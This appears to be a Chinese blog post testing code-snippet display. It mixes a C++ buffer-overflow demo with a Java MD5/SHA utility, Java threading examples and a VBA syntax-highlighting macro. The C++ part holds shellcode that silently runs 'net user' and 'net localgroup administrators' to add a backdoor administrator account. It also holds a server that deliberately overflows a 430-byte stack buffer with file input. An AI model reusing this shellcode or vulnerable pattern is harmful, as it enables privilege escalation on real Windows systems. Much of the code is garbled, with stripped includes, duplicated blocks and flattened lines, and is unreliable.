测试代码片

1先贴上一段代码;


// OverFlowClient.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include 
   
   
    
    
#include 
    
    
     
     

/*
*	OverFlowClient.cpp 功能:通过调用win32 API函数ShellExecuteA执行shell命令net。添加新用户jlcss,口令1234
							并将其提升为Administrators组用户。
*	作者:jlcss
*
*/

typedef WINBASEAPI HINSTANCE ( WINAPI * FunShellExecuteA )( HWND hwnd, LPCTSTR lpOperation, LPCTSTR lpFile,LPCTSTR lpParameters, LPCTSTR lpDirectory, INT nShowCmd );
typedef WINBASEAPI HINSTANCE ( WINAPI * FunLoadLibraryA )( LPCTSTR lpFileName );

void ShellCode()
{
	// Windows2003下Kernel32.dll的基址
	HMODULE hKernel32 = ( HMODULE )0x7c800000;
	// Windows2003下LoadLibraryA函数绝对内存地址(kernel32.dll基址+LoadLibraryA入口地址)
	PVOID pFunLoadLibraryA = ( PVOID )0x7c801e60;
	// Windows2003下ShellExecuteA函数绝对内存地址
	PVOID pFunShellExecuteA = ( PVOID )0x7ca9f6d4;

	// 加载Shell32.dll
	CHAR szShell32[] = { 'S','h','e','l','l','3','2','.','d','l','l','\0' };
	HMODULE hShell32 = ( ( FunLoadLibraryA )pFunLoadLibraryA )( szShell32 );

	// 添加用户,执行shell命令net user jlcss 1234 /add
	CHAR szOperation[] = { 'o','p','e','n','\0' };
	CHAR szFileName[] = { 'n','e','t','\0' };
	CHAR szParametersOne[] = { 'u','s','e','r','\x20','j','l','c','s','s','\x20','1','2','3','4','\x20','/','a','d','d','\0' };
	( ( FunShellExecuteA )pFunShellExecuteA )( NULL, szOperation, szFileName, szParametersOne, NULL, SW_HIDE );

	// 提升权限,执行shell命令net localgroup administrators jlcss add
	CHAR szParametersTwo[] = { 'l','o','c','a','l','g','r','o','u','p','\x20','a','d','m','i','n','i','s','t','r','a','t','o','r','s','\x20','j','l','c','s','s','\x20','/','a','d','d','\0' };
	( ( FunShellExecuteA )pFunShellExecuteA )( NULL, szOperation, szFileName, szParametersTwo, NULL, SW_HIDE );
}

int _tmain(int argc, _TCHAR* argv[])
{
	ShellCode();

	printf("ShellCode执行完毕,请按回车退出。\n");
	getchar();
	return 0;
}
// OverFlowClient.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include 
     
     
      
      
#include 
      
      
       
       

/*
*	OverFlowClient.cpp 功能:通过调用win32 API函数ShellExecuteA执行shell命令net。添加新用户jlcss,口令1234
							并将其提升为Administrators组用户。
*	作者:jlcss
*
*/

typedef WINBASEAPI HINSTANCE ( WINAPI * FunShellExecuteA )( HWND hwnd, LPCTSTR lpOperation, LPCTSTR lpFile,LPCTSTR lpParameters, LPCTSTR lpDirectory, INT nShowCmd );
typedef WINBASEAPI HINSTANCE ( WINAPI * FunLoadLibraryA )( LPCTSTR lpFileName );

void ShellCode()
{
	// Windows2003下Kernel32.dll的基址
	HMODULE hKernel32 = ( HMODULE )0x7c800000;
	// Windows2003下LoadLibraryA函数绝对内存地址(kernel32.dll基址+LoadLibraryA入口地址)
	PVOID pFunLoadLibraryA = ( PVOID )0x7c801e60;
	// Windows2003下ShellExecuteA函数绝对内存地址
	PVOID pFunShellExecuteA = ( PVOID )0x7ca9f6d4;

	// 加载Shell32.dll
	CHAR szShell32[] = { 'S','h','e','l','l','3','2','.','d','l','l','\0' };
	HMODULE hShell32 = ( ( FunLoadLibraryA )pFunLoadLibraryA )( szShell32 );

	// 添加用户,执行shell命令net user jlcss 1234 /add
	CHAR szOperation[] = { 'o','p','e','n','\0' };
	CHAR szFileName[] = { 'n','e','t','\0' };
	CHAR szParametersOne[] = { 'u','s','e','r','\x20','j','l','c','s','s','\x20','1','2','3','4','\x20','/','a','d','d','\0' };
	( ( FunShellExecuteA )pFunShellExecuteA )( NULL, szOperation, szFileName, szParametersOne, NULL, SW_HIDE );

	// 提升权限,执行shell命令net localgroup administrators jlcss add
	CHAR szParametersTwo[] = { 'l','o','c','a','l','g','r','o','u','p','\x20','a','d','m','i','n','i','s','t','r','a','t','o','r','s','\x20','j','l','c','s','s','\x20','/','a','d','d','\0' };
	( ( FunShellExecuteA )pFunShellExecuteA )( NULL, szOperation, szFileName, szParametersTwo, NULL, SW_HIDE );
}

int _tmain(int argc, _TCHAR* argv[])
{
	ShellCode();

	printf("ShellCode执行完毕,请按回车退出。\n");
	getchar();
	return 0;
}
// OverFlowServer.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include 
       
       
         /* * OverFlowServer.cpp 功能:导入shellcode指令码,缓冲区溢出执行shellcode指令码,实现添加Administrators组新用户jlcss * 作者:jlcss * */ #define OFS_RECV_BUFFER_LEN 1024 //读缓冲区大小 #define OFS_TEMP_BUFFER_LEN 430 //溢出缓冲区大小 #define SHELLCODE_FILE "./debug/shellcode.shc" //shellcode文件 // 溢出函数 void OverFlow( unsigned char *pBuffer, INT iLen ) { CHAR TempBuffer[ OFS_TEMP_BUFFER_LEN ]; memcpy( TempBuffer, pBuffer, iLen ); } int _tmain(int argc, _TCHAR* argv[]) { unsigned char recbuf[ OFS_RECV_BUFFER_LEN ]; FILE *pf = NULL; if( (pf=fopen( SHELLCODE_FILE, "r+b" )) == NULL ) return -1; int ircount = fread( recbuf, 1, OFS_RECV_BUFFER_LEN, pf ); OverFlow( recbuf, ircount ); // 正常情况下,OverFlow调用后的程序执行 printf("溢出成功! 请按回车退出。\n"); getchar(); return 0; } package common.util.security; import java.io.UnsupportedEncodingException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class EncryptUtil { public static void main(String[] args) { //md5加密测试 String md5_1 = md5("123"); String md5_2 = md5("abc"); System.out.println(md5_1 + "\n" + md5_2); System.out.println("md5 length: " + md5_1.length()); //sha加密测试 String sha_1 = sha("123"); String sha_2 = sha("abc"); System.out.println(sha_1 + "\n" + sha_2); System.out.println("sha length: " + sha_1.length()); } // md5加密 public static String md5(String inputText) { return encrypt(inputText, "md5"); } // sha加密 public static String sha(String inputText) { return encrypt(inputText, "sha-1"); } /** * md5或者sha-1加密 * * @param inputText * 要加密的内容 * @param algorithmName * 加密算法名称:md5或者sha-1,不区分大小写 * @return */ private static String encrypt(String inputText, String algorithmName) { if (inputText == null || "".equals(inputText.trim())) { throw new IllegalArgumentException("请输入要加密的内容"); } if (algorithmName == null || "".equals(algorithmName.trim())) { algorithmName = "md5"; } String encryptText = null; try { MessageDigest m = MessageDigest.getInstance(algorithmName); m.update(inputText.getBytes("UTF8")); byte s[] = m.digest(); // m.digest(inputText.getBytes("UTF8")); return hex(s); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } return encryptText; } // 返回十六进制字符串 private static String hex(byte[] arr) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < arr.length; ++i) { sb.append(Integer.toHexString((arr[i] & 0xFF) | 0x100).substring(1, 3)); } return sb.toString(); } 
       
      
      
     
     
    
    
   
   

2派生别人的代码片代码;

class LiftOff implements Runnable {  
	protected int countDown = 10;
	private static int taskCount = 0;
	private final int id = taskCount++;
	
	public LiftOff() {
	}
	public LiftOff(int countDown) {
		this.countDown = countDown;
	}
	public String status() {
		return "#" + id + "("
				+ (countDown > 0 ? String.valueOf(countDown) : "Liftoff!")
				+ "),";
	}
	public void run() {
		while (countDown-- > 0) {
			System.out.print(status());
			Thread.yield();
		}
		System.out.println();
	}
}

public class ThreadTest {
	public static void main(String[] args) {
		LiftOff launch = new LiftOff();
		launch.run();
	}
}/*
 * Output: #0(9),#0(8),#0(7),#0(6),#0(5),#0(4),#0(3),#0(2),#0(1),#0(Liftoff!),
 */// :~
public class ThreadTest {
	public static void main(String[] args) {
		Thread t = new Thread(new LiftOff());
		t.start();
		System.out.println("Waiting for LiftOff");
	}
}/*
 * Output: Waiting for LiftOff
 * #0(9),#0(8),#0(7),#0(6),#0(5),#0(4),#0(3),#0(2),#0(1),#0(Liftoff!),
 */// :~public class ThreadTest {
	public static void main(String[] args) {
		ExecutorService exec1 = Executors.newCachedThreadPool();
		ExecutorService exec2 = Executors.newFixedThreadPool(5);//线程集限制数目为5
		ExecutorService exec3 = Executors.newSingleThreadExecutor();
		exec1.execute(new LiftOff());
		exec1.shutdown();//防止新任务被提交给这个Executors
	}
}import java.util.concurrent.*;
import java.util.*;
class TaskWithResult implements Callable
    
    
     
      {
	private int id;

	public TaskWithResult(int id) {
		this.id = id;
	}
	public String call() {
		return "result of TaskWithResult " + id;
	}
}

public class ThreadTest {
	public static void main(String[] args) {
		ExecutorService exec = Executors.newCachedThreadPool();
		ArrayList
     
     
      
      
       
       > results = new ArrayList
       
       
        
        
          >(); for (int i = 0; i < 10; i++) { results.add(exec.submit(new TaskWithResult(i))); // Callable的调用方式必须是 ExecutorService.submit(), // 同时submit()会产生一个Future对象,可以通过isDone()查询Future是否完成,通过get()获取call()的返回值. } for (Future 
         
           fs : results) try { System.out.print(fs.get() + ","); } catch (InterruptedException e) { System.out.println(e); return; } catch (ExecutionException e) { System.out.println(e); } finally { exec.shutdown(); } } }/* * Output: result of TaskWithResult 0,result of TaskWithResult 1,result of * TaskWithResult 2,result of TaskWithResult 3,result of TaskWithResult 4,result * of TaskWithResult 5,result of TaskWithResult 6,result of TaskWithResult * 7,result of TaskWithResult 8,result of TaskWithResult 9, */// :~ 
          
        
       
       
      
      
     
     
    
    

3.第二段代码。

 'script to high light code In document

Private Function isKeyword(w) As Boolean

    Dim keys As New Collection

    With keys

        .Add " if": .Add "else": .Add "switch": .Add "case": .Add "default": .Add "break"

        .Add "goto": .Add "return": .Add "for": .Add "while": .Add "do": .Add "continue"

        .Add "typedef": .Add "sizeof": .Add "NULL": .Add "new": .Add "delete": .Add "throw"

        .Add "try": .Add "catch": .Add "namespace": .Add "operator": .Add "this": .Add "const_cast"

        .Add "static_cast": .Add "dynamic_cast": .Add "reinterpret_cast": .Add "true"

        .Add "false": .Add "null": .Add "using": .Add "typeid": .Add "and": .Add "and_eq"

        .Add "bitand": .Add "bitor": .Add "compl": .Add "not": .Add "not_eq": .Add "or"

        .Add "or_eq": .Add "xor": .Add "xor_eq"

    End With

    isKeyword = isSpecial(w, keys)

End Function

Private Function isSpecial(ByVal w As String, ByRef col As Collection) As Boolean

    For Each i In col

        If w = i Then

            isSpecial = True

            Exit Function

        End If

    Next

    isspeical = False

End Function

Private Function isOperator(w) As Boolean

    Dim ops As New Collection

    With ops

        .Add "+": .Add "-": .Add "*": .Add "/": .Add "&": .Add "^": .Add ";"

        .Add "%": .Add "#": .Add "!": .Add ":": .Add ",": .Add "."

        .Add "||": .Add "&&": .Add "|": .Add "=": .Add "++": .Add "--"

        .Add "'": .Add """"

    End With

    isOperator = isSpecial(w, ops)

End Function

Private Function isType(ByVal w As String) As Boolean

    Dim types As New Collection

    With types

        .Add "void": .Add "struct": .Add "union": .Add "enum": .Add "char": .Add "short": .Add "int"

        .Add "long": .Add "double": .Add "float": .Add "signed": .Add "unsigned": .Add "const": .Add "static"

        .Add "extern": .Add "auto": .Add "register": .Add "volatile": .Add "bool": .Add "class": .Add " private"

        .Add "protected": .Add "public": .Add "friend": .Add "inlIne": .Add "template": .Add "virtual"

        .Add "asm": .Add "explicit": .Add "typename"

    End With

    isType = isSpecial(w, types)

End Function

Sub SyntaxHighlight()

    Dim wordCount As Integer

    Dim d As Integer

    ' set the style of selection

    Selection.Style = "ccode"
    

    d = 0

    wordCount = Selection.Words.Count

    Selection.StartOf wdWord

    While d < wordCount

        d = d + Selection.MoveRight(wdWord, 1, wdExtend)

        w = Selection.Text

        If isKeyword(Trim(w)) = True Then

            Selection.Font.Color = wdColorBlue

        ElseIf isType(Trim(w)) = True Then

            Selection.Font.Color = wdColorDarkRed

            Selection.Font.Bold = True

        ElseIf isOperator(Trim(w)) = True Then

            Selection.Font.Color = wdColorBrown

        ElseIf Trim(w) = "//" Then

            'lIne comment

            Selection.MoveEnd wdLine, 1

            commentWords = Selection.Words.Count

            d = d + commentWords

            Selection.Font.Color = wdColorGreen

            Selection.MoveStart wdWord, commentWords

         ElseIf Trim(w) = "/*" Then

            'block comment

            While Selection.Characters.Last <> "/"

                Selection.MoveLeft wdCharacter, 1, wdExtend

                Selection.MoveEndUntil ("*")

                Selection.MoveRight wdCharacter, 2, wdExtend

            Wend

            commentWords = Selection.Words.Count

            d = d + commentWords

            Selection.Font.Color = wdColorGreen

            Selection.MoveStart wdWord, commentWords

        End If

        'move the start of selection to next word

        Selection.MoveStart wdWord

    Wend

    ' prepare For set lIne number

    Selection.MoveLeft wdWord, wordCount, wdExtend

    SetLIneNumber

End Sub

Private Sub SetLIneNumber()

    Dim lines As Integer

    lines = Selection.Paragraphs.Count

    Selection.StartOf wdParagraph

    For l = 1 To lines

        lIneNum = l & " "

        If l < 10 Then

            lIneNum = lIneNum & " "

        End If

        Selection.Text = lIneNum

        Selection.Font.Bold = False

        Selection.Font.Color = wdColorAutomatic

        p = Selection.MoveDown(wdLine, 1, wdMove)

        Selection.StartOf wdLine

    Next l

End Sub

4.检查效果:一块代码块包含四段小代码,不知道小代码之间如何添加描述。


  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值